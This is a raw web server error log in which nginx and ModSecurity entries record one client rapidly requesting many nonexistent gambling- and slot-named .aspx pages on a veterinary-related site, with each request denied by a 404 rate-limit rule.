2026/03/10 22:04:01 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /pg%20plus.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20plus.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:01.004076 2026] [:error] [pid 3965:tid 3983] [client 81.167.26.57:52236] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abAk0ZN2nrVwtq9b0rbDIAAAANA"]
2026/03/10 22:04:02 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /pg%20slot%20789.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20789.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:02.694580 2026] [:error] [pid 3874:tid 3963] [client 81.167.26.57:52272] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abAk0uK9H96QUJV_mxY6dAAAAJg"]
2026/03/10 22:04:04 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /pg%20slot%20auto%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20auto%20wallet.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:04.220008 2026] [:error] [pid 3874:tid 3962] [client 81.167.26.57:52308] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abAk1OK9H96QUJV_mxY6dwAAAJc"]
2026/03/10 22:04:05 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /pg%20slot%20game.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20game.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:05.894205 2026] [:error] [pid 3965:tid 3973] [client 81.167.26.57:52336] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abAk1ZN2nrVwtq9b0rbDPAAAAMY"]
2026/03/10 22:04:07 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /pg%20slot%20vegas.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20vegas.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:07.425128 2026] [:error] [pid 3965:tid 3968] [client 81.167.26.57:52374] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abAk15N2nrVwtq9b0rbDQwAAAME"]
[Tue Mar 10 22:04:09.120016 2026] [:error] [pid 3874:tid 3942] [client 81.167.26.57:52404] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abAk2eK9H96QUJV_mxY6fwAAAIM"]
2026/03/10 22:04:09 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /pg%20slot%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20vip.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:10.804348 2026] [:error] [pid 3872:tid 3887] [client 81.167.26.57:52454] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abAk2tseKmNoS38Y-zvWaAAAAAs"]
2026/03/10 22:04:10 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /pg%20slot%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20wallet.aspx", host: "vetstars.com.au"
2026/03/10 22:04:12 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /pg%20th.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20th.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:12.335101 2026] [:error] [pid 3872:tid 3895] [client 81.167.26.57:52480] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "abAk3NseKmNoS38Y-zvWawAAABM"]
2026/03/10 22:04:14 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /pg%20thailand.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20thailand.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:14.017169 2026] [:error] [pid 3965:tid 3970] [client 81.167.26.57:52508] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "abAk3pN2nrVwtq9b0rbDWwAAAMM"]
2026/03/10 22:04:15 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /pg%20world.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20world.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:15.700555 2026] [:error] [pid 3965:tid 3981] [client 81.167.26.57:52534] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "abAk35N2nrVwtq9b0rbDZgAAAM4"]
2026/03/10 22:04:17 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /pgslot%20login.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pgslot%20login.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:17.232171 2026] [:error] [pid 3965:tid 3989] [client 81.167.26.57:52566] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "abAk4ZN2nrVwtq9b0rbDcAAAANY"]
[Tue Mar 10 22:04:18.935594 2026] [:error] [pid 3965:tid 3972] [client 81.167.26.57:52596] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "abAk4pN2nrVwtq9b0rbDeQAAAMU"]
2026/03/10 22:04:18 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /pp%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pp%20slot.aspx", host: "vetstars.com.au"
2026/03/10 22:04:20 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /riches777%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/riches777%20pg.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:20.616354 2026] [:error] [pid 3873:tid 3913] [client 81.167.26.57:52626] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "abAk5C_mXXwyT3XINrovbQAAAEE"]
[Tue Mar 10 22:04:22.140593 2026] [:error] [pid 3965:tid 3983] [client 81.167.26.57:52656] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "abAk5pN2nrVwtq9b0rbDhwAAANA"]
2026/03/10 22:04:22 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /riches888%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/riches888%20pg.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:23.810965 2026] [:error] [pid 3965:tid 3984] [client 81.167.26.57:52684] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "abAk55N2nrVwtq9b0rbDjgAAANE"]
2026/03/10 22:04:23 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /royal%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/royal%20slot.aspx", host: "vetstars.com.au"
2026/03/10 22:04:25 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /sbobet%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/sbobet%20auto.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:25.342588 2026] [:error] [pid 3965:tid 3971] [client 81.167.26.57:52730] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "abAk6ZN2nrVwtq9b0rbDngAAAMQ"]
[Tue Mar 10 22:04:27.035337 2026] [:error] [pid 3874:tid 3941] [client 81.167.26.57:52766] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "abAk6-K9H96QUJV_mxY6mQAAAII"]
2026/03/10 22:04:27 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /slot%20777.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20777.aspx", host: "vetstars.com.au"
2026/03/10 22:04:28 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /slot%20888.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20888.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:28.722325 2026] [:error] [pid 3965:tid 3968] [client 81.167.26.57:52794] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "abAk7JN2nrVwtq9b0rbDqAAAAME"]
2026/03/10 22:04:30 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /slot%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20auto.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:30.428954 2026] [:error] [pid 3965:tid 3987] [client 81.167.26.57:52836] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "abAk7pN2nrVwtq9b0rbDrQAAANQ"]
2026/03/10 22:04:31 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /slot%20demo.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20demo.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:31.953654 2026] [:error] [pid 3874:tid 3960] [client 81.167.26.57:52870] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "abAk7-K9H96QUJV_mxY6pwAAAJU"]
2026/03/10 22:04:33 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /slot%20online.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20online.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:33.638826 2026] [:error] [pid 3965:tid 3976] [client 81.167.26.57:52916] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "abAk8ZN2nrVwtq9b0rbDvQAAAMk"]
2026/03/10 22:04:35 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /slot%20pg%20soft.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20pg%20soft.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:35.323561 2026] [:error] [pid 3874:tid 3963] [client 81.167.26.57:52944] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "abAk8-K9H96QUJV_mxY6swAAAJg"]
[Tue Mar 10 22:04:36.855848 2026] [:error] [pid 3873:tid 3930] [client 81.167.26.57:52980] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "abAk9C_mXXwyT3XINrovhQAAAFI"]
2026/03/10 22:04:36 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /slot%20pg%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20pg%20vip.aspx", host: "vetstars.com.au"
2026/03/10 22:04:38 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /slot%20pg%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20pg%20wallet.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:38.552252 2026] [:error] [pid 3872:tid 3885] [client 81.167.26.57:53006] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "abAk9tseKmNoS38Y-zvWhwAAAAk"]
2026/03/10 22:04:40 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /slot%20super%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20super%20wallet.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:40.239422 2026] [:error] [pid 3874:tid 3952] [client 81.167.26.57:53034] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abAk-OK9H96QUJV_mxY6vQAAAI0"]
2026/03/10 22:04:41 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /slot%20wallet%20777%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20wallet%20777%20auto.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:41.927675 2026] [:error] [pid 3965:tid 3970] [client 81.167.26.57:53070] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abAk-ZN2nrVwtq9b0rbD4AAAAMM"]
2026/03/10 22:04:43 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /slot%20wallet%20iwallet%20link%20login.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20wallet%20iwallet%20link%20login.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:43.461132 2026] [:error] [pid 3874:tid 3951] [client 81.167.26.57:53092] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abAk--K9H96QUJV_mxY6wgAAAIw"]
2026/03/10 22:04:45 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /spx%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/spx%20slot.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:45.463078 2026] [:error] [pid 3965:tid 3987] [client 81.167.26.57:53130] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "abAk_ZN2nrVwtq9b0rbD7QAAANQ"]
2026/03/10 22:04:47 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /super%20pg%201688.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/super%20pg%201688.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:47.152123 2026] [:error] [pid 3965:tid 3988] [client 81.167.26.57:53178] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "abAk_5N2nrVwtq9b0rbD-QAAANU"]
2026/03/10 22:04:48 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /super%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/super%20slot.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:48.838382 2026] [:error] [pid 3874:tid 3941] [client 81.167.26.57:53208] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "abAlAOK9H96QUJV_mxY60AAAAII"]
2026/03/10 22:04:50 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /superslot%20max%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20max%20wallet.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:50.369670 2026] [:error] [pid 3874:tid 3963] [client 81.167.26.57:53234] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abAlAuK9H96QUJV_mxY61wAAAJg"]
2026/03/10 22:04:52 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /superslot%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20vip.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:52.056313 2026] [:error] [pid 3873:tid 3918] [client 81.167.26.57:53262] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "abAlBC_mXXwyT3XINrovmwAAAEY"]
2026/03/10 22:04:53 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /superslot%20wallet%20net.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20wallet%20net.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:04:53.743914 2026] [:error] [pid 3874:tid 3939] [client 81.167.26.57:53292] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abAlBeK9H96QUJV_mxY62wAAAIA"]
2026/03/10 22:05:19 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /ufabet%207777.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%207777.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:05:19.605373 2026] [:error] [pid 3874:tid 3946] [client 81.167.26.57:53768] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "abAlH-K9H96QUJV_mxY7DQAAAIc"]
[Tue Mar 10 22:05:21.284665 2026] [:error] [pid 3874:tid 3950] [client 81.167.26.57:53798] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abAlIeK9H96QUJV_mxY7FQAAAIs"]
2026/03/10 22:05:21 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /ufabet%20auto%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20auto%20wallet.aspx", host: "vetstars.com.au"
2026/03/10 22:05:22 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /ufabet%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20auto.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:05:22.967431 2026] [:error] [pid 3872:tid 3885] [client 81.167.26.57:53820] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "abAlItseKmNoS38Y-zvWpgAAAAk"]
2026/03/10 22:05:24 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /ufabet%20net.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20net.aspx", host: "vetstars.com.au"
